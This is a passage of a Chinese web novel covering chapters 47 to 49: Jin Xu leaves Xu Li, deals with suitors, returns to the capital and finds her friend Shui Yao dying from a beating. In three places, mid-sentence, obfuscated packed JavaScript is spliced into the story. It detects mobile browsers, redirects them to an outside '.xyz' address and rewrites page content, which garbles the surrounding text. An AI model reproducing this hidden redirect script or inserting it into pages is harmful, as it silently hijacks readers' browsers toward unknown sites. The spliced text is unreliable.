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“你说你想做个好官,那你借钱建塔又怎会只借了一百两?建个七层塔真正需要多少花费想必你心里有数,一百两足以证明你不过是敷衍,随便建个塔,为自己立了名就好,其余百姓的安危你根本没有放在心上。” “既募不到资金,又不愿自己负担过多的债务,那你为什么非要建塔?被压死的那三人你又担了多少责任?” “你眼高手低,第一步就走错了,又怎可能两年内能升至舍人?” “其余人不清白,你又有多干净?” “还有,你若真想让柔竹过上好日子,借银子怎会让她做担保人?还谎骗她你已将银子还清了,结果竟让债主找上门。你可有想过她的处境?” “几年前,徐娘就为你铺了路,可惜你走成这样。”她语气带嘲,“出身不好不是你的错,但行事不端便是你做得不对了。” 黑得不见五指,她却看见徐礼浑身被气愤爆紧的轮廓。 她忆起从前同丽姬说过她不想徐礼做官,丽姬告诉她,只要徐礼能将这个官能做得清白干净不也挺好。 是挺好。可惜她慢慢发现,官场不是想清白就能清白的,而徐礼,也不是个真正希望自己能清白当官的人。 月亮吹开黑云,月光再次照耀下来。 “照顾你长大,我已尽了徐娘的临终嘱托,往后我再不管你,你做什么事都与我无关。” 徐礼全身一震。 她继续道:“你母亲交给我的温柔馆,我没守住,亏了几百两银子。她曾跟我说,她知道我不会一直守着温柔馆,知道我迟早有一天会把温柔馆解散,但她还是希望我能给你留下一笔娶老婆的钱。我答应了她,但我没能给你留,所以这件事情上我也不怪你。这次赎你出来的银子不用你还,只是往后,我再不欠你们母子了。” 她语落。周遭陷入安静。徐礼沉默许久,嗤出一声笑。 “为什么?就因为我刚才讥你是个老鸨?” “不是。” 重新安静,金絮不再多言,举步离开。 “我希望我身边人能过上好日子。” 她顿步。 “要过上好日子,只有为官这一条路。”徐礼声音平静下来,“我不想再看着她去做娼.妓。” 尾音无力地拖长。 金絮再次提步回屋,与伫立在檐下的柔竹擦身而过。 47. 劝 “即便不行商,还可以充军,怎么就只有为官这一条路了。 “你只是看不起商人而已。” 卧房漆黑,金絮趴在书桌上,脸枕着《温柔新语》,一个人自言自语。 以后的日子就要为了银子奔波了,不会再有心思去想其他的人和事。 她微出一个淡淡的笑,《温柔新语》承接住了她的笑。 透骨的轻松浮上来,骨肉泛起细密又舒服的麻痒,意识沉沉浮浮间仿佛在舟中飘荡,完全睡过去前她尚起身摊去床榻,安稳踏实地享了一个整觉。 次日醒时不知是何时辰,饿极,简单洗漱毕去厨房,柔竹已备好了白粥和馒头。 她没说什么,抓一个热腾腾的馒头开吃。 柔竹坐下相陪,突然想起什么,俯身在橱柜里抱出一个坛罐,笑道:“想起来腌了咸菜,阿絮姐你尝尝看。” 金絮尝了一块筷子,赞道:“可以卖钱。” 她现在看什么都是钱。 “万幸你尚有个可傍身的手艺,我至少不用担心你。” “嗯?担心什么?”柔竹不解。 她笑一笑,“没什么。” “阿絮姐,我记得,阿礼母亲将温柔馆交给你时,只是希望你能保得住阿礼在这世上活下去,其余的,她不求你做的。” 金絮一愣,“柔竹,你还记得那么久之前的事情?” 她接手温柔馆时,柔竹还不到十岁吧。 “我记得。”柔竹用力点头,细细的手指捏着衣角,“那时我已不小了。” “嗯。”金絮笑着摸摸柔竹脑袋,“可能是我傻吧。” 寡淡无味地吃完早饭,洗净碗筷,金絮站在檐下,抬头看着湛蓝蓝的天野,一望空阔,飞鸟上下翱翔。新的一月开始了,今天是七月第一天。 “柔竹,你可知——要想赌,选什么时机最好?” “什么?”厨房里柔竹提高声音地问。 “就是现在!一无所有,赌输了也不怕。” 柔竹从厨房小跑出来,疑惑地看着她。 她歪头瞧着柔竹自信笑道:“先去买两只鸡,然后将所有冬衣拿去抵押借几两银子,把馄饨铺开了,只要在入冬前赚够了银子,再把衣物赎回来就好。”她双手叉腰看朗朗乾坤,眼睛弯起来,“日子还能过。” 她喊道:“柔竹,待会一起出个门吧!” 带上五六件冬衣,先在钱庄换了银子,三两,再去各繁华街道查探馄饨铺选址。祈福街人头熙熙攘攘,金絮仔细留意人群,心中渐渐形成馄饨铺子的最佳流动路线,接着便去南市打探食材价位,顺便买了两只鸡,一公一母——以柔竹眼光来看十分能下蛋的鸡。 置齐其他食材,金絮叫来十三,让十三和柔竹将所购之物捎回家,她再去找匠户看看能不能做一辆带滚轮的推车。 穿过一条巷口的时候,忽然感到一道视线注视着自己,她下意识四处探寻,什么都没发现,四周的人低头各忙各的。 太阳烈起来,眼睛一时不眨便无比干涩,她手搭凉棚,始终没找到盯着自己的人。 就在她以为是错觉时,余光里看见一点挥舞的痕迹。她向那处仔细看去。隔了一条街的不远处有座矮塔直立,塔的顶层有个人在朝她这个方位挥舞手臂。 那是...... 金絮越过被太阳烤得扭曲的屋檐定睛一瞧,慢慢认出那蓝衫身影。 “林公子?” 她又看看身周,不能确定林童忆是在和她招手,但周围没有一人注意到那矮塔上的人影,于是试探地回招了招手臂,换来林童忆更热烈的动作。 看手势似乎是让她过去? 正好上次他出手相救一事还未郑重谢过,金絮便朝他走去,林童忆似是得了确认,下了塔。走近半条街后便看不到塔了,她摸索着大概方位,拐过一个弯,就见林童忆迎面走来。 他神情兴奋,止不住地笑,“絮姑娘,真是不容易找到你。” “林公子找我?”金絮福礼,微讶道:“林公子找我何事?” 他笑,贴近,“此处人多,换个地方与你说。” 还要换个地方说? 金絮随他到了城内河边的一座冷清茶楼。湖上画舫泛泛,楼中茶客疏落,林童忆择窗边而坐,为她倒茶,边倒边开口: “上次忘记和你说了,我自京城出发时遇到了凝荷姑娘,她向我求助,托我来太南时找到你,告诉你她在京城遇到了点事情,急需你的帮助。” 她霎时将感谢的事忘到脑后,“凝荷?她出什么事了?” 林童忆张了张嘴,似乎难以开口。 “她们的铺子出了点事,被人整没了,水夭受了伤,她们此刻的处境很不好。” 金絮心神有些晃动,分不清此刻是什么感受,却后知后觉意识到一件事。 “她不曾给我写过信。” 林童忆点头,“嗯,凝荷姑娘她们已经没有多余的钱两写信寄给你了。” 心底霎时担忧起来,她脑中迅速思索对策。 桌上茶杯里的叶子扭曲挣扎地漂浮着,烫水慢慢刺穿紧缩的茶叶,叶子吸水展开,沉入杯底,杯底一片浑浊。 “那你要上京吗?” 金絮被这问话一吓,回过神来,“啊、上京?我......”臂肘轻微地发抖。 早晨醒来时的清幽畅快荡然无存,风息中无形的压力与牵扯再次攀上她的肩背,用力地提醒她不曾允许自己遗忘的东西。 “我在太南的事情已处理好,你若要上京,我们可以同去。”林童忆摇着折扇笑道。 “与你......同去?去......” 喉咙似有异物堵住,她急忙喝茶咽下,脑中思绪乱成一团。 “还有一事,我一直想问你的。但找不到合适的时机问。”林童忆收拢折扇,端正神情看着她。 听出他话中的严肃,金絮趁机转移自己注意力。 “你去年问我的那句话是何意思?” 她一时没反应过来,“哪句话?” “就是去年温柔馆被封后,你从廷尉出来,我送你去客栈时你问我的那个问题。” 骨子里的冷意泛上来,僵住全身,她嗓子空咽,干干一笑,道:“我不记得了。” “不记得了?”他有些愣住,“就是你说你不会阻止旁人去报仇那句。你不记得了吗?” 她呼吸凝窒,脸上表情彻底消失,发凉的指尖握着滚烫的茶杯还觉不够热,说不出话来。 “我还以为你是这个意思呢。”林童忆微笑着看她,“我是想帮你。” 金絮忘了眨眼,忘了说话,直到舌根蓦地一松,空气自动吸入肺,尖锐的吸气声响在她脑海,她嚯地站起来,身体深处返上来哑音:“我还有事,我先走了。” 急忙起身逃离的动作却太慢,被一句抱歉彻底打断,耳边清晰听见林童忆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839782|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同起身着急道:“是不是我太着急了?我也知这种事情不宜在这种场合说,但是安分王前几日已离开太南,我以为你此刻身边的监视方才松懈,所以来找你,问一问你的意思。” “还是说,你想依靠安分王?” 几个字直直地撞入心扉,金絮抖手难控地拂倒了茶杯,尖脆的碎裂声炸回她的镇定,她不眨眼地盯着茶杯碎片无声地喘气。 他似是勉强一笑,“你竟是不愿的吗?可你若不愿复仇,当时为何如此说?” “也许是我会错意了吧,不过——”他双眼仿佛把她看透,“金絮,你现在的样子有点奇怪。” 她一怔,股股汗水顺着后颈滑入衣襟,迅速回复神情,咧嘴一笑,“复仇啊.....这些年,我倒是一直有在想。只不过,此事需从长计议,不好三言两语审定。没那么容易的。” “我自然也知。”他带安抚之意地笑了一笑后收敛笑意,“你不好奇我为何突然与你说这些?” 金絮镇定下来,等着他的下文。 “因为我也想。” 闻言她猛地一震,心中纳罕。 “而且我知道你是前丞相遗孤,我们能不能算是一拍即合?” 金絮张嘴无言,怔愣半晌,呐呐道:“我不知道......”无处可以容纳她的视线,她再次转身,“我不知道,我还有事,我先走了。” 说完,不再看他,匆匆落逃。 “金絮!” “金絮,我还会找你的。” 她向家中跑去,过快的心跳冲击紊乱的心绪,她什么都不敢想,只想回家。跑进家前的巷子,气息尚未平复,再次被家门口的景象呆住了。 大门又遭踢毁,裂开的门板躺在院子里。不敢想象家中又出了何事,她疾步踏进,一眼看见倒坐在院中的柔竹和旁边满身拳打伤痕的徐礼。 “这又是怎么了?” 柔竹看见她,哭出来:“阿絮姐......” 徐礼手背用力搓蹭嘴角的血迹,恨声道:“他们是冲我来的。” “谁?” “从前郡府里看我不顺眼的人。” “我去告官府!”金絮转身欲朝门外走。 “没用的。刚才来的人是太守别驾的儿子,不是惹得起的,你去告了,不仅没用,说不定连这房子都会被他们抢了去。” “阿絮姐,他们把能卖钱的都抢走了,刚买的那两只鸡都......” 徐礼从地上爬起来,斜睨金絮,“我昨夜想了一整宿,现在有些回过味来了,只怕眼下反而说不清是不是那人给我带来了麻烦。” 她闻言十分气愤地怒视徐礼,“你说什么?” 徐礼无视她,径自回房。 金絮几乎颓倒,大喊:“十三!” 十三纵身落下。 “你去哪儿了?!” 十三似是瑟缩了一下,低头揖道:“属下送柔竹姑娘回来后收到王爷寄来的信件。” 他是去取信了。金絮看见十三手中的信件,上印安分王府的信徽。 “收到信后,属下便去找您了。”十三跪下,“属下失职,请姑娘责罚。” 金絮却陡然震凛,目光一瞬不瞬地锁定十三,“你去找我了?你什么时候找到我的?” “您路过荷花桥时,我在屋脊上看到您。” 她顿时松气。荷花桥是在回来的路上了,十三应该没有见到林童忆。 48. 返笼 她回屋拆开信件,信纸两张。此时收到,那大概是他出发第三日寄来的。 一字未看,金絮又合上信纸。 即便看了能有什么意思,如今给他回信的钱都没有。 叹吸几气,将信原封不动地放在一旁,她清点屋中还有什么余物是可以抵押换钱的。最终翻出几件压箱底的不值钱的旧衣。衣裳生了霉点,布面腻硬,细细的绒毛卷曲成粗糙的颗粒,与布料藕断丝连。 甩衣回箱底,她渐渐有些烦躁,心思不免想到被她藏在床底的那个取钱令。 她抠开床板,盒子无损,里面两个取钱令和一支玉簪安然无恙。 掌葫的上等取钱令此刻看来金光闪闪,每一处线条都透着富裕的气息,每一处浮雕凹面都叫嚣着身价,小小一块令牌使这间破落的屋子蓬荜生辉,显得格格不入。 另外一个是她和丽姬共同的取钱令,里面应该还有丽姬的十两银子。她不能用。 玉簪子她舍不得。 快要走投无路了啊。 她只是离开了京城,就变成了现在这样。 凝荷她们还不知道出了什么事情。 深深的无力驱使脑子里不由自主出现林童忆的话,一字一字撞击她的意识。 金絮害怕地蜷缩身体,额头抵着令牌,冰凉的触感激起她身体深处的恨意。不甘像一只邪恶的大手欲搅碎她的心肺,逼着她置之死地。 仿佛是被她强制唤醒,那封信针样地刺穿脑海。她猛地一激灵,令牌簪子哐当掉地,她奔去桌案前,拾起信封,没留神控制力度将信一撕两半,她拼接裂纸,抓住救命稻草般胡乱阅字。一连看了数遍,才看明白他写了何事。 信纸裂开的边缘随着她剧烈的呼吸上下震颤,她突然一咳,半张信纸飞旋下地。 沿路风景、看见风景时的心情、看完风景后想起了同游的大半年中的哪些趣事、叮嘱她好好吃饭、好好喝水、叮嘱她不要让十三远离身边、交代他还有几日抵京、交代他抵京后要去做何事、抱怨事情太多、说不想回京。 满篇废话。 金絮呼吸渐渐平稳,心神归位,冷汗飚出,衣襟瞬间浸湿。 她仿佛大病初愈,靠着椅背拿袖抹脸。 她忽地一笑。 梁风信上说起他们在支郁山躲过一夜大风雪后的那天,他在路上看见了一个什么树景。他看见什么景她不关心,重要的是她闪电般想起,那天梁风还跟她说了另一件事。 他好像是说——温柔馆的银子尚存放在官府。 不知是不是因为没人取。她还留着盖了官印的贩卖书。 也就是说,温柔馆的银子她还能去取。 几百两。 她呼吸骤住。 去京城。 好不容易才出来的,现在又要她自己回去? 房间内的光线慢慢变暗,天将入夜,她躺倒,摊在榻上,睁着眼直瞪瞪地看着渐变晕黑的天花板。 她躺了一整夜。 一整个晚上,梁风信里的内容和林童忆说的话交替闪现,直到天亮。心绪却没有跟着天空一起明亮。 她走到院子里,庭院涂了一层清晨的蓝颜色。她深深呼吸,过滤肺中积攒了几个时辰的浊气。她是知道自己其实并不甘心的。 可是若要去,该怎么去?要让他知道她提前上京么?十三还在她身边。 左边的厢门吱呀打开,柔竹站出来,眼底乌青,似是同样一夜未眠。 柔竹呆愣愣看着她,末了眼底浮现一片清水,声音软扁委屈,“阿絮姐......” 金絮走上前,抱住柔竹,笑道:“傻丫头,别担心,有我呢。” 柔竹伏在她肩头低低地哭。 吃了咸菜白粥,金絮带上玉簪子和《温柔新语》出门。 她在街头漫无目的地走,人群与她擦肩,惨烈阳光照耀下的每一个人都忙于各自的生计,小贩的哟喝、农妇讨价还价的咧骂、走卒的推搡,一声一声都被阳光怜悯又平等地注视着。 她淡漠地看。不知走了多久,脚步自行自停,她回过神,发现自己站在了一处宏阔高楼的门前。门额牌匾两字:漕司。 她怔怔看着二字,口中干涩,难于更进一步。 身后马匹嘶鸣、滚轮近至,她躲到路边让开车辆,一行车马停在漕司门前,车身王家徽醒目异常。 她走也不是,不走也不是,讷讷地站着,见车内钻出的正好是王家大公子王殊。 王殊一眼瞧见她,上下打量一番,神情浮现笑意,“絮姑娘,这是在等何人?” 金絮不与他对视,待他走近,拢手一福,手脚都有些局促,却是展笑道:“我在等您,王公子。” “哦?等我?”他笑得似是毫不意外。 王殊极为自然地拿走她手中的书,翻看道:“上次絮姑娘走后,我将笑长生的残稿买下了,现正展放在我家书肆中,昨日有位太南出名的大儒前来置书,看见了,便顺手翻了翻。絮姑娘你猜他说了什么。” 金絮想了想,她不知那位大儒会说什么,但她知道王殊会说什么,于是笑着摇摇头,道:“猜不到。” 王殊将书在她额际轻轻一敲,“那位大儒说,这残稿不全,却补得甚妙,释注之人太南红叶生定是个才子。” 她低头,只笑不语。 “我听了,便觉絮姑娘所著的这本书定也是佳作,不可放过,寻思着哪日登门向你一讨此书,摆在我那书肆门口,定能招致更多儒师青眼。” 王殊是在跟她客套,她懒得敷衍,面上维持和善的笑容。 “絮姑娘今日来找我,想必也是不愿埋没此书吧。” “是。”她从善如流道:“不论写得如何,既然写了,还是希望能给更多人看一看。” “如此,絮姑娘与我想到一块去了。那此书便交予我吧,我不日便回京,回京之后再收入春研书院中。” 她心中一动。 “在春研书院,此书定能遇到它的有缘人。” 她福礼,“多谢王公子了。” 王殊转身将书交给下人,执起她的手,笑道:“絮姑娘用过膳了吗?不如随我一起?” 金絮没有抽回手,微微咬了牙,恰到好处地温和笑着,点点头。 上了他的马车,车内气氛略有局促,金絮始终低头看指,不看他。 很快车停,她下车,却见不是酒楼,而是玲珑阁。 玲珑阁是太南最大的珠宝首饰铺子。她心中了然,面上却疑惑地看着王殊。 王殊不说什么,领她进去,随意道:“挑个你喜欢的。” 她瑟缩,“这......不妥。” “有何不妥?”他捏起一枚金灿灿的步摇,“这个喜欢吗?” 她微笑着站着不动,只应道:“很好看。” “这个呢?” “很好看。” “这个?” 她正要答好看,王殊却立时将手中的簪子放下了,摇头道:“这个不好,你不适合戴玉的。” 他转而拿起一支花样拳头大、翡翠珠宝蜂窝般缀满、活像个太阳的牡丹步摇,边向她走来边道:“这个好。”说着,快手拔下她头上原本别着的玉簪,作势要给她簪上。 金絮半推半就道一句:“这怎好,如此贵重......”的同时见他拔下玉簪后似是想随手丢弃便比他更手快又自然地接过,在他出声制止前夸赞转移他的注意力:“王公子破费了,这么好看的簪子我戴不合适。”手指迅速地将玉簪收入袖中。 “有何不合适?”他无所谓地笑,没付银子便牵她出门。 金絮乖乖跟着。 再坐到马车里,这次气氛不同于刚才了。金絮把握着氛围,看着他笑道:“王公子,漕运一事处置得可顺遂?河运事关重大,近几日辛苦王公子了。” 王殊闻言挺了挺胸腰,轻松道:“自是顺遂,涝灾不甚严重,随便拨点银子就可解决。” “顺遂便好。”她笑,状似随意道:“我本打算借由河运上京的,后来得知漕运发灾才改定走陆路。” 他闻言边说:“絮姑娘预备上京?” “是。”她温温道:“有家人在京城。” 王殊了然,眼神陷入沉思。金絮看着他,默默等着。 不一会儿,王殊转头笑道:“我也正要上京,既然碰巧同路,絮姑娘,不如我们同行?” 她没说话,流露出适当的疑问。 王殊握住她手,仍是风度翩翩地笑,“行船一路多有不便,不如车马,驾车脚程也更快些。何况你一女子,独自一人上路多不安全,我们同行,路上总能避险。” 她思索片刻,问道:“那王公子何日启程?” “三日后。” 她心中天人交战,犹豫不定。王殊像是要安抚她,道:“便当是我送你,我保证将你平安送抵京城。” 他似乎很有耐心,金絮感到意外。王家底蕴深厚,也许是读过书的富家子弟到底与寻常商贾不同。既然他保证了,金絮也只能一赌,便点了点头。 王殊轻柔的力度抚摸她的手,笑得十分成竹在胸,仿佛她已是他的掌中之物。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839783|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后王殊带她去了酒楼,点的菜全是大鱼大肉与名酒,金絮漫不经心地与他敷衍一顿饭。饭后,日头始斜,她仅让王殊送自己到隔家两条街的路口,便下了车。 目送他离去,金絮在原地站了站,又抬头环顾四周,没看到十三的身影。 她当然看不到。她好像永远都不知道十三暗身藏在何处。 去钱庄将玉簪抵了五两银子才回家,家门口却看见了一个她此时不太想见到的人。 林童忆像是等了许久,一望到她便笑迎上来,瞥眼注意到她脑袋上的金牡丹,目光闪了一下又恢复寻常。金絮没什么反应,开口道:“林公子,还想与我说什么?” 他动作一顿,讪讪捺住四肢,展扇道:“不说什么,我只是预备返京了,来问你有没有打算一同去。” 她微愣,“你,你......”止了话,改道:“我不与你同去。” 生硬的拒绝令他稍显尴尬,他淡然一笑,“那好吧。”转而又道:“不与我同去?那你是会上京?独自一人?” 金絮顿时无言,怕他多问,避开视线,绕过他而行。林童忆紧随道:“一路十分危险,你既是一人那还不如与我同去,路上好有个照应。” “谢谢林公子,我......有人陪我的。”她索性止了话题。 “这样啊。”他声音小下去,又紧追两步道:“到了京城,我还能去找你吗?” “再说吧。”她步子加快,林童忆慢慢落于她身后。 “金絮。” 她停步,片刻后转身看他,林童忆站在距她十步外的位置,折扇的叶子没合拢,凌乱地团在一起。 “到了京城,我有话想与你说。” 金絮张了张嘴,想说跟一个罪臣之女有什么好说的,但她终究没有说出口,只是点点头便不再看他,小跑回家了。 一踏进院中便锁上门,她微微喘气,回屋拔除头顶扎眼的步摇,又将梁风的信看了一遍,才去堂屋寻柔竹。 柔竹正在腌白菜,将抹满酱料的白菜整齐码放入陶罐中。金絮坐一旁看了一会儿,待柔竹忙完后她关了门窗,拿出三两银子,在柔竹诧异的目光注视下,将银子递过去。 “柔竹,这三两银子你收着,我三日后要去京城,不一定什么时候回来,快的话兴许这月便回,慢的话不一定什么时候。你若是愿意,开个简陋些的铺子是可以的。” “阿絮姐,这银子是从哪里来的?” “我把我那个簪子当了。” “那我不能收!阿絮姐你拿回去,你要去京城便去,我和阿礼有办法赚银子谋生的。” “不打紧,给你们留着以防万一,我这趟去京城就是去取温柔馆卖了的银子的。” “那你也不要给我留这么多,一两就够了。” “那......也罢,我取了银子后再给你寄一些来。”她道:“柔竹,你收到我寄来的银子后,立刻去掌葫钱庄将我抵押的玉簪子赎回来,不要忘了,你知道是什么样式的玉簪吧。” “知道,我记下了。”柔竹仔细收好了一两银子,“那阿絮姐,你记得去看看凝荷姐和水夭姐怎么样了,她们一直没有信寄来。还有化莲姐姐,我早一月就给她晒了她爱吃的......” “柔竹。” “嗯?” 金絮慢慢道:“凝荷她们在京城可能出了点事。” 柔竹一愣,停下了手中的动作,“什么事?” “不清楚,我这一趟也是为了去看看她们的。” “哦......那阿絮姐你要记得寄信来。” “好。” 之后两天金絮没有再见到林童忆。 她在思考另一问题,该怎样摆脱十三的监视。 虽然看不见十三,但她知道,十三肯定每时每刻都能看见她。 到了与王殊约定的日子,她唤来十三。 “十三,你帮我去取样东西。” “城西郊外十里地有处不高的悬崖,崖上长了一种花,紫色的,五瓣红芯,两步外便能闻到香味,晒干可做烹食的香料,你能帮我摘几朵来吗?” 十三一揖,“是。” “那我等你回来。”她补一句:“你若是一时没找到,便多找一阵,应当就在那一带。” “是。” 十三便去了。 上次与王殊的约定是在马车里谈的,十三应该不知道他们说了什么,即便他猜到她是去了京城,她那时或许都快到了。 带上简单的行李,午时她拉开院门,王殊的马车已候在门外。 49. 温记 她立在山腰,透过层层树冠遥望驻立在远处平原的京城。 半边天空是夕阳,橘黄铺洒整片原野。方方正正的巨大围墙框住百万户,房屋堆积拥促,飞檐远看如浪,横平竖直的街道成了虚线,甚至能辩出未央宫的所在与几大宫殿。 “走吧,天黑前能进城。” 王殊近她身旁,揽腰牵她走回车队。队伍修整完毕,丢弃一辆坏了轮子的马车,置妥货物,出发走完这最后一段路。 接近城门时速度放慢,她掀开车帘,看见了京城北向大门——华德门。门墙在她眼中化成一座牢笼,仿佛正张开齿口,盛迎她的到来。 十一个月前她就是从这里一身轻快地出来,现在又身无一物地进去。 二十来年她共三次上京,第一次是从太南避战逃入京城;第二次是被人牙子贩卖入城;唯这一次,是她自己走入的。 城门口被拦下,她闭帘缩入内里,车前有人出示文凭路引,车队于是顺利进城。 王殊提出欲安排她在驿馆住下,她婉拒,直言着急去找亲戚,王殊便不多阻拦。她担心这一刻不赖掉他,之后便赖不掉了。 离宵禁尚有小半个时辰,孙姨的药材铺太远,温记离得近些。 看着王殊准备与她做长久打算的神情,她敷衍一笑,拿上零星行李,凭记忆找去温记铺子的所在。 温记临城内河,华德门去往城内河需过四条街,天色转眼变暗,她抵河时听闻街鼓已近尾声,来不及过河,就近寻了处客栈便住下。 选了间朝河开窗的房间,她站窗前,注视夜幕下的河岸。对岸无一灯火,满街漆黑,街铺里像是都没人住。从此处看不见温记,难知情况。她心里陡然升起不好的预感。 下楼询问小二,小二告诉她,冬末时官府扬言要将河对岸的一片地改建园林,把房屋铺子一一收购了,但是,屋子还未拆完,不知怎又不动了,那一片的屋铺就那么空空地半毁着,无人管。 小二知道得也不全,问不出更具体的情况,她只能压下焦躁,等第二日天亮去一探究竟,草草洗漱后便睡了。 翌日天亮,金絮醒来立刻过岸。对岸房屋全呈半毁状,底层的门扉交叉贴了禁止入内的白色封条,封条上印有官府标志,街上无人。所见街道都是如此,她也不知范围有多大。 沿途找至温记。这栋小小的两层独楼也塌毁了,二层破碎地压住一层,大门禁封着,里面不可能还住着人。 心底慢慢变凉,回想数月前,她们几个姑娘在这屋子里商量着胭脂铺该起个什么名字,还记得水夭说叫“温记”时大家连声道好的欢欣,满怀对将来的憧憬,而如今全埋在这碎石裂木之下。 她说不出此刻是什么感受,当即远去找孙姨。 孙氏药材铺店面不大,但位置很好,在长庆街一家大医馆的一层。这条街多药铺、医馆和流荡的江湖郎中,但因大部分铺子的掌柜或医馆的医师都是某个富户人家的专用大夫,因此多数时候都是大夫忙着往全城各处跑动,而不那么富裕的人很少会专来此街看病。 遥记当时孙姨跟她说,开铺子就是希望给没钱的人看病,少收点银子,哪怕日子过得艰难,也不傍那些大户。她一直很崇拜孙姨的。 店铺接连开市,整街漫开一股干烈的药材香,她眼神交替扫过街两边的门牌,终于在一栋馆阁下看见了孙氏二字。 见店铺完好,她心中一喜,恰见孙氏药铺门口一名女子走出摆招牌,低头动作没注意到她,金絮却一眼认出是凝荷,忙小跑上前。 凝荷瘦了很多,穿着洗得发白的灰色麻衣,头发用一块糙黑的布巾包裹,肤色微黄,眼周肌肤黄褐色的阴影深增憔悴。 她看出不对,脚下步子加快,这时柔竹似是感到有人接近,抬起了头,目光触到她的一刻愣住了,嘴巴呆滞地张开,视线变得迷离和不敢置信,手中盛药的竹篮哐当掉地。 “凝荷?” 凝荷蹲下崩溃大哭。 “这是怎么了?”金絮顺势蹲下拥住凝荷,疑惑又心疼,她不在的这段时间一定发生了很多不好的事。 “阿絮姐,我不该那么傻的!我还以为长大了就容易活下去,我不该傻的!”凝荷哭得表情崩裂,声音却异常清晰有力。 哭声催得她心急,“你先告诉我发生什么了。” 凝荷剧烈一抽气,抹脸吸鼻,一把抓住她手臂将她拉进铺子的内间。 外间铺面很小,广深皆四步,但展放的药材不多,反显得空阔了。凝荷掀起隔了内外间的布帘,她立刻闻到一股淡淡的油烟味,与药材香对抗强烈。 内间是起居室,更大些,广深约六步,光线微弱,全靠正面尽头一扇小窗透光,窗边是灶台,台上放了一些剩菜残羹与半个掌心大的瓶罐,灶脚堆着数支柴火,其余碗筷瓢盆都放在左侧墙角的地上,地面坑洼不平,右边用帘帐隔了两个很小的浴桶,内间另一侧是张床榻,水夭正闭目躺着,身上被子又薄又旧。 听见声响,水夭向她看了过来。 “阿絮姐......” 她快速走近,水夭呼唤微弱,面色十分苍白,下巴很尖,眼睛无力地欲睁不睁,像是随时能睡过去。 看见她,水夭虚弱地绽开嘴角笑了一下,手从被子下摸出来,握住她,气若游丝,“阿絮姐,见到你了......” 金絮手掌紧紧回握,抚摸水夭的额头,掌心滚烫,“怎么病得这样厉害?孙姨呢?” 无人答话,她不禁疑惑地回头,见凝荷泪流满面,嘴唇嗡动,哽咽道:“孙姨死了.......” 脑中仿佛暂停了一瞬,她半晌反应不过来。手掌的握力忽然消失,她迅速扭头看去,见水夭只是睡去了,她下意识松了口气。 “阿絮姐,水夭不是病得,她是被打成这样的。” “什么?” 凝荷掀起搭在水夭身上的棉被,顿时一股恶臭扑面漫开,水夭没穿裤子,左腿完好,右腿遍布脓包,膝盖凹陷侧弯,似是膝盖骨完全碎裂,大腿与小腿不呈一条直线,骨刺穿透肌肉,刺穿部位突出的肿包腐烂发黑,溃肉中心的穴口爬出短肥白胖的蛆,细细流着脓水。 金絮被震得说不出话。 凝荷盖上被子,抹去泪水,“她的腰也断了,现在已经不能坐起身。” “怎么会......这样?” “我没有钱给她看病,初春的时候孙姨就被打死了。”凝荷眼泪抹干净又流出来,“我一直想找你,可我没有文钱给你寄信。” 金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839784|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 絮强压大乱的心神,镇定下来,知道当下最要紧是找大夫,忙道:“你快别把被子盖着了,掀开,我去找大夫来。你等我。” 凝荷拉住金絮,“她不愿自己这副模样被人看到。阿絮姐,不用去找了,治不好的,她想见你一面才撑到现在......” “说什么傻话!能治的!” 她不顾一切冲出去,拿着温柔馆贩卖书跑去官府。府衙看门的极为不耐,她被晾在一旁等了许久才见到办事的官员。官老爷磨磨蹭蹭地看了贩卖书,粗声让她等着。她于是又等了一个时辰,期间无人搭理过她,近午才再次见到那官员。这人不情不愿地给了她一口盒子,催她在贩卖书上签了押,便赶狗似的将她赶出府。 金絮接着不停留地跑去长庆街最知名的医馆,请了民间传闻医术最厉害的大夫。赶回铺子里时水夭还在睡,大夫只看了一眼那伤口便直摇头。 “回天乏术,准备后事吧。” 金絮急了,“您未仔细看过,如何就回天乏术了?” “伤口许久不治而溃烂,锯腿的话这人更活不了,腰也断了,能活到今日全凭一口气吊着。”大夫叹了口气,“看这人的模样,离这口气松下来也不远了。” “我有银子,还请您全力救治!” “姑娘啊,再多的银子该留不住的还是留不住啊。” 大夫摇摇头,径自离开。 四周好像消声了。金絮呆愣在原地。 “阿絮姐,你不要这样。”凝荷用力抱住她,眼泪不止,却声音坚定,及时唤醒了她,“我们还要去赎火蓉姐出来,她被廷尉关了两个月了,现在还不知道怎么样。” “廷......”她咽了咽,压下沙哑,“火蓉怎么会被关到廷尉?” 